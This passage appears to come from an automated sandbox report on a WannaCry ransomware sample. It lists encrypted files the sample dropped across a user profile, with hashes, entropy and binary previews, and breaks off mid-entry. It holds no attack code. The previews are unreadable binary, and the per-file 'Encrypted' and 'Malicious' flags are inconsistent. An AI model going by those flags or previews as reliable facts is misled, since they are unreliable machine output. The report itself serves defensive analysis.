                                                                                                                        Preview:WANACRY!......8..e}.bJ...w..(..L!&..s......fJ..........x......:.M..o4qtq..<.o.Mr....B}....Zp...P...%.6..........6n....X.B...=Nx47...{._.].t...\..{.mU.ac]9...nH .Ub|.^x.Zi:.Y.0.~j/3.v..b.z.J.P.w.0VUf7GV..s....l.#.B.....v...X.r.+...+]..K2...Pb5&.{.................1V.O.e.G.J;]...!.Z._..@.o-..C.x........r....V4...HA..;G...9@...x.2....N.C.!(X.i;.P..c..4?.>..*~.*...g.:EP.E9..N.Q.\.(...G.\n......._.wU.s."..g,... rzt.......}f....D....H..=J...H...:..S&pP..GRKh.....eF5tr......:.2.v/.,.!F..1.G*#Q.#..:.x....C..9..#..]W.N..@...qY.F.'&3}N..Nd...")..{Yp;..*.f.khD.[.q.j....q......f..mP/......1.0)p".l..G..oas*Sx..2.O..0...em.&)...rC..'5`>.<.....e...|[.9..$$...J....2..F..=<....0.3s..-.Tl.[6.g..x.k3tc_.6pNg.Wm..s..;........a..(...w.T..A.......G.3..&&..a3...+.Z1/..EQ..1\.r..5Y../.E]._...!....k.'....:K....ro.....9..Q..r...O{f^.o..>..-.A^(.....u\.....dEg....k...4.\&.#32z}?.S......> ....rm.2..4......w.xi\.U..Er.V[.&....uz?.$.o...q.uQ.Q4.4nzp.K..*Z.;=.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QEURJOJQOH.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840035923191883
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkVie9djdH7Ux4YimDG0OdpjJWhlYNV67z13q6uBRSmzdzge07sqXz0VqV5g+:bkVvDcFElJCuNV0B3PufSEdMIIVy+
                                                                                                                        MD5:FA5DD268E008000712A68C14BEAEEE72
                                                                                                                        SHA1:64772419F7DB796DA8289089AD1D36762A40EF1A
                                                                                                                        SHA-256:5404513CBBA6A8FC81CD52373DC9D7704AAD2EEA4222EFEF6DAF201E628EA25F
                                                                                                                        SHA-512:B981C7C28B15084E6B9F6939CF3D82C3AB0220537D6F4A7F94837294EF14392531A737841A292CF2B3A9AE34A96206D333E6EC371C7182C61C6C4D5D2F1F8B73
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......3.8~H..m.....,.>.K.=jp..+._%a..iA..t.O.......&|>.+%.$rm.2c@....#.7n^..FZO<.....<.z..r..o.cU...R.4.....C.?.&.#..QS....fF.J....+.=*.Z}.har.r.tu......f...}B;Q@.A..8.V..~Y..{..p@..jt..>O..p..&.YA..J.g.....8.;...(9.. R..S5!..X..w.8.O...(....o..s.............0^..68E.~...a..O..o.....<.`T..%|?.`w.^4;....><..=.,..O.=E.p...s..)8-..!.k..l84Z...@... .5.......+.hZpGR.)-...J...!..-Q#.cf.n.6X2......xj.+.:.4...x.|.[.5.l..9...Z.7..\...\.}....o...ft...U..q..1.T(j....|..3.nnT......Y"....<z...])....,..l+u...]....i$..x.l.R.cO'.......-..;.3..Q...y..F..8N...g.GX........R..._......)Gb....p.@.Vo.....E@.o*..PC."..urk...oO...:...J.F..S..k^.,L....t;....Fm...k..Qj[.T.'...=..[.....4..B..AQm.....y.??........7.M...:$.d.).k.0lK.......l.2.<]$...%ndC.4K...-...9}e.j..6A.....Ey.n...Y..!..5.C......j.....)|...(.=!nfi&...`.+....*0....+./r.e..a.))aj...g.l...%W.2....a`.K*.....2. .c5...obyU.iztx.~:..#..S*...f...?~.g.YT.5.C..*.!.u..T{0...Ss.....L..T.T.j.....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQRKHNBNYN.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.860124393922438
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3zpv26ouQj5JAndOXGGczfL1fjdQ0GEtQwGs182AsoYnukFHJKodWF2JRTO+:bk3FvtQlJabL17HGsVGs18XxsTJKoMFQ
                                                                                                                        MD5:C72F41359D9111DF82A15797CD938908
                                                                                                                        SHA1:0037A3577B7B97956A1D3A54ECC0E46AEE650AB3
                                                                                                                        SHA-256:F364CD00AD1992C3E5568CB2967B9A5E2B76861E90EFEC33973767389097D3C0
                                                                                                                        SHA-512:5E2EDA1BFC521869D533F34D5736FF0B7D6EF5A72854C95B4F96F356FF6B71211C463DBB2211184F01FF8F4528E2D6AE18A99EA6B8374F0103C2C57491E5E41B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........I?%......c..4.q.y..bW..n..m..Q....Z...w!s..W...oN......m8..A9...-...>jo.<a2..tyz...I..a..&.z.fs.t..w.\-.G:.[..*.<{.......R..b.R...*...-=.V2.q..'v.q.....*[..g..j......N.dvpH.1e..*r.4.FrR........W.;...=...B(.-T*?.x..9.y.K.Q|......;0......[.............LK...........O.....d....M.)d}.s.M:{..h.q.......F..`..N.;,.......K.-.*^...O....8....D.1L.#..F......2%4-....^.o..O.g.%$M...1h-.....q.k.p+ ".......J...-4@r.T.|V.(.s.I/...@.Kl..?.a0w...j.tz.2..u....:>...sv.K..'...V\.5.6Sz.7E.Td..F...H+%'SB3../LV...pT3....:.C.y.a.2.1..+.~O.g.=<.g.*...T/.Q.$.uj.V...Y...hF...!L.z..l...t.@0.......w..7z....x.?....rgU/py.....I|0u...^..DC..d..l.....e.y.Gm.........5.d.).=A....S}.....!!.W.1....y.9[.\...E...|.d.;../.....!.....C.o.%*p.A.`F2\..L....T..Um.'4.....ioT.....%.7*...8..+..,....5...l|..T.x......./.1.a......WYf.9.<zx).&@]...A.>D&.[....{:........./#B....r...p.K=\n../.....0.O.....#..>S.9Gi. ...r|*..QL.U3....(.?y..4S.w/f.B....&:.r....S\T..V4.mv......fV....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQRKHNBNYN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847925089237269
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkcKZJu9XnTYvKOs0zUCqNX8x0AFgPtlRuqDgU4hhIZAIgOQXW9tujVO:bkDu1TwxzUC0CFgPtlRuZRcZDDQXW9E8
                                                                                                                        MD5:493D3555932CACCE905014F8E727E60C
                                                                                                                        SHA1:D57EC84E600F7CBBEC0E555925D315E2A117112E
                                                                                                                        SHA-256:EF3A480542B43F1AB7A2FEBFB285372D6511CE4988A5F0D1DA41CA3AD3A4CF5B
                                                                                                                        SHA-512:C3AFD68A3DC6C041B3A369D88CE9B72655CCF177736AFB6F89B0622BB24DFB2E70B6E0D01AFF1647D64EB63B1A90E9D9CCC6EADBF1F89D49F9769713814EED7E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....o..K....,..).LPa........y.6..A......6...q.N....S..k...n..Uf.#\./...bm..$u`/E=..~........Y..dB(..P.u.V.......r...`....Kb.lj...'.r...v..D...0..k.;3..MS&V.2....4...6.D}_+..]U[f.<.....{dl..L...wK@.ly.......;...4.b ...4`M.S...O....L}..9}.3?..i...............L.|1gb.....-..l.....|.%..K...TM.O..a.....}.O\..B...7..a.J$O.S?..['....?..J6.=.P.;..5N....@.`W.s.$...N.t.0.W.yO...V.j..y....P.HA}?.SE.$w..\8.}.....G.}.-3M..18Li#h.N.h{.^..........q8t...vh...c#S...ow....7v..:`...X.?:...z.L...&.I.....$.g.Z..'...P.....a......?V.|m..L..z.4.....x...n.... %....9.~.Ox..I.Y]....N..N..I.{{..+e...J*6s.(.W..U...=.O;....*......G..y.5lz..M_Lwe6L.w..a....X<R..u&....nxa.......f..J....k./..p.oq..P......4.i'........V...C....P^.A.!u..G.rQ.%J..GAX.`:7FG...u.._7!.........R..I.X3..m...$..h..*).x.&$oh..sP{W#E.m.og.|..tO....Y...........q.p....n..e...7..8..../..&P...u))IE....tL.....O..i.".......C<.m.dPb.?G`...b.f3.(.}...Vc6.....$....*Z....fW28Ok.{9dg.|..o....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844544457567544
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkDpzi5+FJn7/N7QGLCW7F91Hj6sZ6N/XOz2JLOBIeRHpcVm1:bkdz3nLCqPD6cluKBpRHpak
                                                                                                                        MD5:BCE8C084D74B18157E6644422B56EA31
                                                                                                                        SHA1:37D054D50343C635B11A1FE93FEDAAF58854D60A
                                                                                                                        SHA-256:2F6E1E3BFFE745B3C93FCF5AED2663F4AFD2C89420BB1FD0ACBBBD0EA0C50C90
                                                                                                                        SHA-512:D6CB8D107B9702E01B5E18B833AB0D3ED1525DF8F3F7596AC2DA9811804FDE6B3EAE6782BDB759C001E584773D1C0B6E440851A75A056CE3F1A61B0A8DC7BA5B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Z.&...c.....g...\......%.x.>.R.F....b...gv..=.I.]...e.y.a._....(......C..:0.3....no..u.s....4..0...U..J[.m>*..+....a.......u..l....*...b^^IL.'S.:1...h...rwn.....g-{......fF....O./.v........~.....dB..-..d./"....{.'..}. ...>1.:(..I4@.3Np ?.r.d.................e..z}...'.e....I.~.L1.d......g?.p..G...c..\.D..=......&Q.5.{p........./z....vX&.y...,..........e.<.h.a..*....!..T0~X>...:..P..N..P..!.K..@.(...TW....".=-....M.D..P$.sZR......@..c4.F..'..m..y`.d..!...._...p...[.r.Y@.5!*q..=.@..P)..S,~.1lB.~......^1T...p.dn%Pq....e.Y..{.|.H....&.8.r.-6.4&.O....\.8.t3.#.....A.x..PCI6...o{. .8..Al.Wbl...h.....D..j..u.n.S..U..x.o......U..%M......T.:m{z.|."....y.w.[/.7..*<.j.X)....A[.-*.>.... .D..w-%.....a5....].....p".~.t&..X....'.....+c.F....v]q...=..r.R(..6.....).j...I....(.....w..Qh....._...k.!...}....fGX.*.2q...5..d.8..k(sL[.l..rSQ.lu.N..n..J..G......1....!~6..............".3.ee..d.........(_.q3{.2.ea:..C3......3....2........TYr$....rz........

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847846072269437
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkHE7uzwlwrLgPh+4HhLAt15yuxneVUZBrtLLS9rQTR5AXiGINysVNh8CZT:bkkqslsgwOi9xneqtL+9MTwENhVjRZT
                                                                                                                        MD5:3AAB05600694D419F4C4606E437E23FC
                                                                                                                        SHA1:0B455F62F00C3E66203C86A641F288A07E28C8F2
                                                                                                                        SHA-256:78E00D27BD93C31E3E79A36B68C299652B30084CC1F8DB50F6D3F16C3BA13B03
                                                                                                                        SHA-512:E441042E4A2E530010213AB627A490056CA22AD3E1A26B41B920667037B7C385230682E7768EECBC279FDD34459567976DBBC91DBF0BFB20EABC5F1B62A40C99
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....>.+..O.H..!.R..8N..*_..q.../....y.2.E....f..+...^.Q#u.;..|.....ag.--d.`5.J......F...o.c..w]...a..uS....o.. ..B.@.nk....x......3K........I%....H.h-.;p.:..+........T...G..4.@Z.........e...{&N49$.|@...FA...n..B.q..-...U...F...V...,....4.....u.mNt................7.X.. .p.6..3.........j../Z...N2.:......V..g.?....?.t&.QR....4..A[..,..w....2Q.....g.~..A.4..i\5.m..b......[Y.M..o.y.tX........K..2..0r...T..........YCl...o..nwbv.I..9.i"..5.......c..........O....d....l.cB.y;.#...+.H...DE... [.R9.F.gJh.Qr .N|....c*...}...A...>1..f.3.:y4.,..>5.........L..p}>.@......1T.........L..q...y1.g}0."..2W....x....O.)...i..lpd.....]Q....R#..f......W..R`..~n.^8.%q..F..U.....Fj>.)s.5.D.....a...>.B.O.9....g....EK.. .(.5....6....G&0b .c.h.%E%....,.....],<.%.l_....#wg.-5'E^x..y......G....IK-.!.....r..4.G.M&..X.d]..e.A.:..I......O>pO..v...z.4L.=.t....A....z...{.3S......8j{3.D...(...F....!.'.c,`1...z.......B.2.(x....lS]....h.....M],?gWh....>.x.8o..6.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.832751205032452
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvPji+zC1U2q9LLCBTPOIW4K/aN2hRaaHFAHHv5P8k9+I:bkvk726l5W4KiiVMP5P8jI
                                                                                                                        MD5:4D14C49EED9EBBB5D49D11D19771F0E7
                                                                                                                        SHA1:DA2BBD084513DCBC0663E0AA4BE5A88ADD68C30A
                                                                                                                        SHA-256:969CE48FAE0B207B21C029D8F226779DEDDBDD11BF714BAF6B1A63C3E4766C19
                                                                                                                        SHA-512:FBC7D93C197EB83E5C1E909543A3A60C0318CB9741939968E2034FA1BE94AB4592A5F48B245DC7FC9DE346C70936B221EAFB26ABA1F99468C5F073DC9C00137B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......L......`..O..B|..b.].m.........C1.k.X......l..t.{..%.I0m...7.6.-p.Ml..".!.O...."....z.....j=.0.)95.3.)....W..Z8.".....l...Y...ws...q.>n.H..d.v.Ss+.Y.Sv%.H,.(a.._.^.b.$....z....AiV;....o.s.3."..14)}...1..=..2w.I.........7..Y.U.cv..E.V..'....hs............=.Kc.t.y......zNS(.rk..x.A.2..;.W.U.I.60.&D..nU.?.j....."&..2..-...8..L..2..R..1.......4..a....r..\..[6=U.......U/.~.p:.W..........f..V.....O......#..A.Lh.....M.!B;=.Zek../...`.0..r...._...i...y.c2.....Z>}...D.....K.*...*}.....Yv[......cW jP.0.U8T;U.p.?......b2.j..<y"..D.j....Y_i.....i#.Z......4H`k..z.9bPm.h..t.U.:...k.../..8[Z...7(.....87..~j.G4.....N..._..l........V..0.\S.V...."e~hkE Q...P...6..@7..E2.)..J,.7@f...1=..X..*J.+.B...F.......m-.E.......".,.-.).Cr...b.[.~H..{x.w.O.7..1.j.....G...c6.F....&.D....M@.H.h.G.....r.J.15..|.+..m..\.(C.=...X,....B..Tyt.....x.......W..Z.\..0.. ..^:..s)...1...J_.[..M....d.u..w.OI...*.%".... ..."E............=X\B[P..-.....L.`q...K...;./af.@.g.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.854185310132552
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2AhNGHXmNEDmFs0260qwmaVExZd4y6xlgZyIIPOiH16Y1GKPFxnVp24e9av:bkhhM3mNE0263auxZdSsyI4McxnuT9av
                                                                                                                        MD5:E7E65692654FC4D44A9ECFDCCF969F10
                                                                                                                        SHA1:F7BE3CDCA834E56F3FD5BC08B6CEF47694BDD4F3
                                                                                                                        SHA-256:4760D4BBA93E796D8AEFDFFB9440A9EF4B5CCC4F6261C0BBA7CC7D73603A1F85
                                                                                                                        SHA-512:4E3D1C843646FB64726195959E49DEF56486A89489163897C6FA7C9CFA999EB66A3732ABC5C41DB428E8AF242FAB69502F5640E60D2306EFDA984800AD5368C4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....._J2......@..sA..`.6U..g.s..H..ud$.w.c55.....z."..)..t.+{..|......c.s.Ne.b...f9.Y...[i%g.~......^'.X.......Ji`kSq.1F....,..Z..Z*..nKE...t..(.J..%w`.m..?_x...N.......*....l..HZ.H.......6...F^.Y..lpJk.?....T.U....k.1'..........B.j.<.]5...j._.L..............(s.,.~.E.,.S.N.z':.R......T.....p&..Xr..U..7\....%..R9......Q......r.....Q\)..........w1....e...^..=.../..t...!.....4tS#...A...[.tE..jL..FE+%...w.y?\...\8..a{k..:_.. ..z...$.N.I.f.........Ti2x8b%j.N,ij5_...o .d..i.......9..D)..@.}(..4i..qz..B[.4N...("_UL..#..8..T.P)y....W.I...../.Z.u(...7r0H..V./.... RTq.H.....b..bM..2O+.T.......Z..!..\...s..]...&.c...{..8c.z... g.>s.`..Sp.!.xg.../G.".iB..)..3.`.-...sx.=...!!f7c..Y.L....{,*.x..oR.]...$\>*...I.../....TS.1+.>>.z.?...$z.g.,.^..h.(:.6...|....%.B.....r..z......].v........amj...[...5.k.n.}..wd..%...I~.l....@.m.....U#_*[..C.Q<b......;..A.%...]..f.kaO...Pur@vA.\0=ZJP..P..f...O..R..$Y.d_3.....z_l.C....<D8....T^.....G....;....cv^...,^.....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846315167935484
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvFEW3TfqiSSzoGwyz1kI3eD/ykKCiRqee1mgDmOyNd44ENO:bkvF/Si3ova1yryk/B1mAyNd4RM
                                                                                                                        MD5:90E676F3C95350D52EFF257297A8678F
                                                                                                                        SHA1:4FA243344519519980747E17F33D0871599B0396
                                                                                                                        SHA-256:AA720E7D7E8B6D99115E9A10303B07417CCA44E9446FCAC7FAFE68892ABB80E9
                                                                                                                        SHA-512:6583DC75D14A2C32866048FB162B045F7734337177870EFA0B7CFCABF48E8EFED7AD09A3B3C38273C6ABC067DDFCB3035D8CC894744166F520AAEA1C5E9271EE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......l.<...@LT.jcf.A./.w.XUz3._h....-..e...i..~...h..].<..a......n+ Y.f.w.Y...(..Sv?.....4O.vZ..V.s.Q;..d.N{..@..i.y.+..'=...-....Hc. {]..Q..g.M.5&..........2.v .L.".^.<.`.........r9.T.l6dK.o.*1....X.s...I..Fb..R.X.2...u.....=GY?q.6,.N.u..._.R............ZkC..9XUP=YI...`.&.e..5l......2._.m...(...<..-...1AF....0....7S.|.....:.a.Y...2k.xJ...k.\.s..yq.....H~..x..I;McL.$..&.I.$#y...gv}..h~Q...m.i.[...{}.T..a"...Y..dd.~.6^..y.4.....B.x~..T+A..M.G...u.s...e.z~_...k......V...z~e..]...S,.@.[..~:...6._,wNU..V.....x...76......Md~63..H...... ?.]@x.T.Qr.K...,y.*..`.^u[5...k.:{9..=.O2...b...x.h...3.O...F~X.?..o.....z....PCJSaY....F...Br..d.O )7]......+.ey.;...bn.e>l..3.4w"..r....<...d...2....W.N.Z.6.7....d...i...:..x......e..\[U..iQF.W...w.r.j.Y.......z...H....;..Z>...n...E.Ds4.!..H....6t.....E.....(...=m.Ph]c..v>...<@..5b....X=.rd.....Z)........_.WDl..K"|.^..S....w..N.'.>. ....h.8.f.v.E...Q..B....1%(t......t..-NT.............=...%..j6.z

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842954987209988
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3ksYNtWRTd878+RHkMNBKsOBKzn7KP6p+LHz2qVDyl+S1Y3gNgVlubZ:bk0sYC878+RiBYwz2flYrul
                                                                                                                        MD5:FDF14FE062813CA824543155F3A9B77B
                                                                                                                        SHA1:85A8D91A13321077107403937A6206902AB1298F
                                                                                                                        SHA-256:42A1A1C00429F5B49C14822FA333639A6373BE04C0EB2B5E290B310E17E6798B
                                                                                                                        SHA-512:E9E6A696720E0278F32326289434EBDBD9347536C51DE9D68F8281E4C9CFB19472E477E62018F88FA3AD7A1457E34C1EE4A33B56E09622E141B8845BD1E37733
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....{...B.T..$.R...@C.....!...f.K.Y............h.s.N-.Ms...b..;.`Sl...,..\.nD)...Q.C_-0h....y...#7....6,."|.rMI..sf..2.F.'...........[e1..Hg......6JT... ZT.Cl.<. ..&YrFi%.....j4i....K..&.%.....l0..Vn.%.M...(..d!......uq.8Q...(...UP...-.\$;.zl.D../...............)..W...H......e.[...F=S..H...uA%..m...3.qv..|.o:e.Zw...(.......c.................<Vf.1ZTJ.....C...,.c..V..9y.b...|.L...&sNy.N./..Q...W.n1.L.k.].+2-.r%.%].R.z....Zb......Z.R..a...s..i*...f`.7...X....U;....6..^s/.F].(~.'@w...uR.\..c..6`6....b..:h`..{..4.....p.!...F..k...[.U'tn....5.-*..ro...z....|...Cb..U.lC......FA.s.G...Z.m."d.s..*....~...V....s.2.:U.d..l......=O<..&.........U1.O..hF.V.LZ=1|P...s..M.........a7....3.Xh..~.8j{;.....H.lS....bV.W9.7...t.$.\.?.-..5(._R....}E5.ZU.Kp....YI...f.....7..... ...bZ..&...i.i...E...A.e.6.N.O7.;.|..\..5=...6/j#..W...e..$..LL.."...fF..i.*..AJ.....5.oBZ}..y..?.R.aw...6...S/.`........^....W....".N-.....t....g.]7.K~RN[.J.3S.#h.;.6..4..

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):40984
                                                                                                                        Entropy (8bit):7.995764374699103
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:e8ykekaKVRUpUeReOKTfbZml4I8xstDvlUGK52DcKDsh6CkUc4kpPBnlh:he6rUdRlK32l88ZUx2ISjvpPhT
                                                                                                                        MD5:6EF446B9CC2FBDCC01D0C90B227FD2B4
                                                                                                                        SHA1:A1468246D295281E3F52D3A513AAB7C2F23BDDDF
                                                                                                                        SHA-256:BA04A77AA323250F226747DE616F74BF553DF9B08A3E1103E304F5F8B24C55B4
                                                                                                                        SHA-512:9792E33FDD16C9409C5BA2703C09E5D74C677F0F92582E620A140427F0E35A7B635F876015DBD04061F30A7712CF6C4054736EAD879CC44A4BC9506AD18E41BE
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......+..S.......G.vKIsa.D..,..Z......./.....].j....I.{..D5D.AMp....z...jL..../........X...`..Z}.Z..>g.3>.Q?H..[E%....2j...rdBxM..d~.".4...J.9.V..R8.y./.:.......%......c~*...s"....8.0..D.r.w..R8..p..,4....2.e...o.P....c.N.....qk...Iy.]I8.^..................).Lw.M...(K.U..".9.?...A..BU,......L...o.h~........ueu...........;..<-O.(..U.>."...)e.U=.n.c./^....~6...=g>.>J..u.).h.....t..!.E..i.3.......A.FI.w+..q...:.L....f.3 ....v\....9...G.......]Zb..o.v@....._t.OL...IX...I.~.....`.%........g...z.n...B....J-....tJ._vn.....-....i.....7.o.q...ZS(W.Y.6>.j.s[......4;..H]k:u.~..v.o%.d..<.%....Rg..%.h)$.qa.. ...;...z.!..#[...$...]...Q5l...)9....V#.j...ke.X...Q...V../.....]<..[.........V.9. ..F3G.."7...[fwT..p.X.4Q}...#..,.....9...lv.lz.O().5..x.}.U..O5zH..}..y.=kBK.}D........Y...[...s.4...........AL...|..8y..b.Y.WD.\H.~.a|...T......pZ..S4.d.(|...-`...d......>...F$~:e......L...!.<.........B.%.y/..5t..: ....H.cwL...D.Q..6.}.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):125288
                                                                                                                        Entropy (8bit):7.998469864367244
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:fwDrHE5Glg6dkV9yuyr75Zwt0RdTlZE1n2nObr//mhiivI4w5bl:QBOV81ailBOf//enGbl
                                                                                                                        MD5:238B4D6FF0FC6913149780015F809D12
                                                                                                                        SHA1:F9940C0CD6964DCACA557F7BFED8585162B2859F
                                                                                                                        SHA-256:B3DFEF62CC51B2CED7136FE0D6EE624EC5058A090628678C9A04B2A6245C5AE1
                                                                                                                        SHA-512:BB53B2BA0242DAAAA93B8B9875FFD6903A7FBCC1F88025C8E5E7B960D13A8709DA9AEFD0CCCA250F17CBA2D6153EFC2E2664E2C59BB6D641B4AF913D8DF288B2
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.... ._...l.,.:....&?..^Z.(.....g~..\.7.x.D..DC>mt....ej=(f&.|.W.....U....F..w;.O.d|Ge..9."4.e..* .q..c..4.R.=..V.a..*.9.!..........s:C.r.ax.9...=%U.`0.....K..;....24X1]'.#ks..nv..c.*.v|..E.....X_.5.f..5..........PW...vf>...Vw....[.Pm...Ak...<..OP....D.......J..SV..)J.#.P......a..d.!.v........?.....mR.>.~$.;.YY....8.`....|V..4..&..M.....~.~^..%]V....F...M.^v..3.5v........6......'.m...;D.p.di=....2*..'....`.....CHZ"...WK..4Y...?.$........".px......B=...TD.^..6.(.....LK..m.x.xLN..'.c".. .., ......~.... 9..r!.....Q~wz.4.$.E.B1.6...,../H.:...-...^..3....+.65...J..;..(..._69.g.4{....{..H?9.#..H....-7..J.!..<=........@.z..o.<.R}<z(....ot..'..3hj.....r.."/...<......6...%.....U.T..6pG4f|...W...z4...... ....*.v........\..T'#..r..."#1......G.hL......Q+25.F.5bq.X.K@..~...&.Q........sA$.."..K....*..<?I,R..G_.+5.6.Bq`u...d.}..W....<...7.YW/l*...r..k..@w.]N.{\Jd_.U.|.S...?.....e.....&...;@*........-G.8<....#.)...B..(...)@..)'....4.;\..cE.k~.%.....

                                                                                                                        C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\AlternateServices.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):888
                                                                                                                        Entropy (8bit):7.732211334681202
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk24i32BQv9XMkPCWrgaGj47FfAyKqb8DUyj9lGg:bkTimm18kPXU9sfB7U9lGg
                                                                                                                        MD5:6CC77FC4EC979BC3D3A6EB8DEE44E0AA
                                                                                                                        SHA1:6861990E84D35DC969280FB7C9AF86FE78897159
                                                                                                                        SHA-256:72D81259C6662FB3F48A20C969B9E1134F8A4535F267CDDD29C95F1AFA9FB02F
                                                                                                                        SHA-512:90B84192C82096629C141E4379711875F7EB06D8E84EF53A825288EF4DB3E0C3FB0BE396A815FCAC4B0E3858DCFCB44CACFF275D031212EC44EFC5C7C8D0D0F1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....98...\...`$9....47a.y.?R..4..v......#.7d5........^..~X...^..X.<.~..u).l:..;I..-.."hP....C..Gp.z.N<..J.Cr.S.....Ba.IH.Fqe....^]0g~c..].|$.h+|7....,Q..:......Y..L......oA.BE.vm.88.+..5.v..G.Ht....q..R%.....}.~.....s..../.j...^......-..........X.............qr.$.....!.@.aA..P.<$.GA.....h.p..p.8..~|.J$t...a.<.j.5<A.......2C.._...'uc...\.L?D8.r.N._...........=...,".rr3.....!.n.5. ....t. ../..t.j.....B,p._.k..s.W...S......:_Jy..~i.4hA.....e0 .)D....<..U.;......S.....T.e7.f....._.]&6./....>.XLa/2.;p....^....b$._....~.r.....*.5.$>.\%-..JR`..9.<...{x..]....lY..9KL.6.z.w....s.,D!........Z.~..L.9.(.........=../.K..:Q.......;a...;.T%.5..A."..G... ..JfY{...u.7.T....S3.,..*E:.A~.....4.~.f....wt+h..`..=..~).Gd.wv..Q..2}jS}4.*....b~.{a_...........j.,WP.).....s..1(..I..9..V.3.G..k......v.i*...f..}!s|?..7y#{.=G9beH.;$.....r..

                                                                                                                        C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\SiteSecurityServiceState.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):888
                                                                                                                        Entropy (8bit):7.782245644366379
                                                                                                                        Encrypted:false
